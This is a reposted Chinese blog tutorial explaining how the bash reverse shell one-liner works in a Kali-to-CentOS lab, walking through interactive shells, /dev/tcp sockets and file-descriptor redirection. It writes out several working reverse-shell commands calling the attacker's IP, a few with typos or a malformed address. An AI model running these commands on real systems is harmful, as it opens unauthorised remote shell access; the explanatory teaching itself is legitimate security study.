[转帖]Linux之bash反弹shell原理浅析
环境
攻击机:kali ip:192.168.25.144
靶 机:centos ip:192.168.25.142
过程
kali 监听本地8888端口

靶机 centos 写入 反弹shell 的命令
bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

攻击机 kali 成功反弹shell

原理
反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互
我们将命令拆开
bash -i
/dev/tcp/192.168.25.144/8888
>& 0>&1
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途
查询当前shell命令 ls -l /bin/sh

bash -i 打开一个交互式的bash shell 如果有 -i 参数,就是交互式的
交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的
使用命令 echo $- 可以查看是否是交互式shell
有参数 i ,是交互式的
执行一个shell脚本
无参数 i ,非交互式
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/
/dev/tcp/192.168.25.144/8888
所以上述命令就是和192.168.25.144:8888建立TCP连接
文件描述符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘
标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器
标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器
-
--- +--------+
-
( 0 ) ---->|dev/tty0| 当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端)
-
--- +--------+
-
-
--- +--------+
-
( 1 ) ---->|dev/tty0|
-
--- +--------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Shell 输入/输出重定向
我们让上图 输出重定向
使用 1> 将输出结果写入到 指定文件中 文件不存在则创建文件,文件如果存在会覆盖原文件内容
省略不写则默认就是 1 同理,输入重定向 0< 省略不写则默认就是 0


使用 >> 会追内容在文件末尾

结合上面建立的TCP连接


kali攻击机收到

结合bash -i


在kali得到命令执行结果的回显

此时我们输入name,可以看到,标准输出错误并未被重定向

-
--- +--------+
-
( 0 ) ---->|dev/tty0|
-
--- +--------+
-
-
--- +--------+ +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
输入重定向


在kali攻击机,输入

靶机得到输入指令,标准输出(默认终端)

-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
!!!!!!!!!!!!!!!
此时,我们只需要将
bash i > /dec/tcp/192.168.25.144/8888 和 bash i < /dec/tcp/192.168.25.144/8888 结合
实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell
即 使用下面的命令
bash -i > /dev/tcp/192.168.25.144/8888 0>&1
效果 kali ip:192.168.25.140


此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向


补充:
bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行
标准输出与标准错误输出重定向
此时反弹shell语句里边用到了 >& 操作符,>& 操作符在不同情况下有不通的含义
在 >&word 语法中,当word是数字或 - 字符时,操作符 >& 表示复制 文件描述符
而文件描述符的复制格式有 num1<&num2 和 num1>&num2
这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 num1<&num2 和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)
所以上述命令可以修改为 bash -i > /dev/tcp/192.168.25.144/8888 0<&1
所以 0>&1 或者 0<&1
是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置
此时1[标准输出]指向的是socket连接文件(第一个 > ),
重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命 令)
-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ +------------------+
-
-
--- +--------+
-
( 2 ) ---->|dev/tty0|
-
--- +--------+
此时标准错误输出 依然未曾改变
在 >&word 语法中,当word不是数字或 - 字符时 >& 表示将 标准错误输出合并到标准输出中
此时与操作符 &> 功能一样 >&word 等价于 &> word 都相当于 > word 2>&1
当执行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令时,效果如下 标准输出错误并未被重定向

所以我们执行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或
bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一个闭合的回路 ,同样,命令回显到攻击机上

实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可
-
--- +--------+
-
( 0 ) ---->|dev/tty0|\
-
--- +--------+ \
-
\
-
--- +--------+ ----> +------------------+
-
( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port|
-
--- +--------+ ----> +------------------+
-
/
-
--- +--------+ /
-
( 2 ) ---->|dev/tty0| /
-
--- +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1
等
本文借鉴了很多大佬的博客,如有更正的地方。还望指出
参考链接:
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial
https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
[转帖]Linux之bash反弹shell原理浅析的更多相关文章
- Linux bash反弹shell原理引起的一点思考
最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问 ...
- Linux渗透之反弹Shell
前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个 ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- 用bash反弹shell
用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击 ...
- bash反弹shell检测
1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的 ...
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- bash反弹shell
part1:不求甚解的本地复现 攻击端Debian 10.x: 192.168.208.134 受害端Ubuntu : 192.168.208.135 攻击端打开(监听)某端口: 键入命令:[nc ...
- 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规 ...
- [转帖]linux 清空history以及记录原理
linux 清空history以及记录原理 自己的linux 里面总是一堆 乱七八槽输错的命令 用这个办法 可以清空 linux的内容. 清爽一些. 1.当前session执行的命令,放置缓存中,执行 ...
- 【奇技淫巧】linux 定时任务 crontab 反弹 shell
日期:2018-11-26 13:47:34 介绍:如何使用定时任务来反弹 shell? 0x01. 基本命令 参数 -e:编辑该用户的计时器设置: -l:列出该用户的计时器设置: -r:删除该用户的 ...
随机推荐
- node版本管理工具推荐
hello,今天给大家分享几款 node 版本管理的工具. 背景 在开发前端项目的时候,特别是新到公司接手一个多年维护的老项目时,如果 node 版本不正确,有的插件可能无法正确安装,比如我之前提到的 ...
- 【pandas小技巧】--目录(完结)
pandas小技巧系列是介绍的是使用pandas分析数据时,最常用的一些操作技巧. 具体包括: 创建测试数据 学习pandas的过程中,为了尝试pandas提供的各类功能强大的函数,常常需要花费很多时 ...
- Asp .Net Core系列:对VS 2019中ASP.NET Core项目解决:The term 'Add-Migration' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name
错误: Add-Migration : The term 'Add-Migration' is not recognized as the name of a cmdlet, function, sc ...
- 如何将没有复制或移动构造函数的对象放入vector容器
正文 直接说答案,这个问题无法实现.原因是因为std::vector容器的插入一定会调用类对象的构造函数或者移动构造函数. 说一下为什么会有这个问题,因为不想用指针,我想直接通过类对象本身的RAII机 ...
- LeetCode DFS、BFS篇(102、200、111、752)
102. 二叉树的层序遍历 给你一个二叉树,请你返回其按 层序遍历 得到的节点值. (即逐层地,从左到右访问所有节点). 示例: 二叉树:[3,9,20,null,null,15,7], 3 / 9 ...
- ModelArts黑科技揭秘|弹性训练,让训练资源张弛有度
摘要:AI进入产业的门槛变高,开发者想要做出优秀的AI模型就不得不在算力和成本之间折中,怎么办? 为帮助企业在AI落地过程中进一步实现降本增效,华为云推出AI黑科技--弹性训练. 今年,AI界最被热议 ...
- 有了这个算法,图像上文字擦除再也用不上PS了
摘要:本文介绍几篇关于自然场景下文字擦除的论文工作. 图像文字擦除方法 给定一幅自然场景图像,只将图像中文字区域抹去而不改动其他区域像素值的方法称为文字擦除算法.该方法在隐私保护,身份信息篡改,数据增 ...
- 你的Parquet该升级了:IOException: totalValueCount == 0问题定位之旅
摘要:使用Spark SQL进行ETL任务,在读取某张表的时候报错:"IOException: totalValueCount == 0",但该表在写入时,并没有什么异常. 本文分 ...
- Git 工具 - 子模块: submodule与subtree的使用
git日常使用中,基本都是一个项目一个Git仓库的形式,那么当我们的代码中碰到了业务级别的需要复用的代码,我们一般怎么做呢? 比如:某个工作中的项目需要包含并使用另一个项目. 也许是第三方库,或者你独 ...
- vue2.x老项目typescript改造过程经验总结
前言: 关于Vue2.x 的TS改造,其实没有啥好说的. 对于vue-cli项目来说,从新跑一遍 vue create xxx-project ,选择Manually select features ...
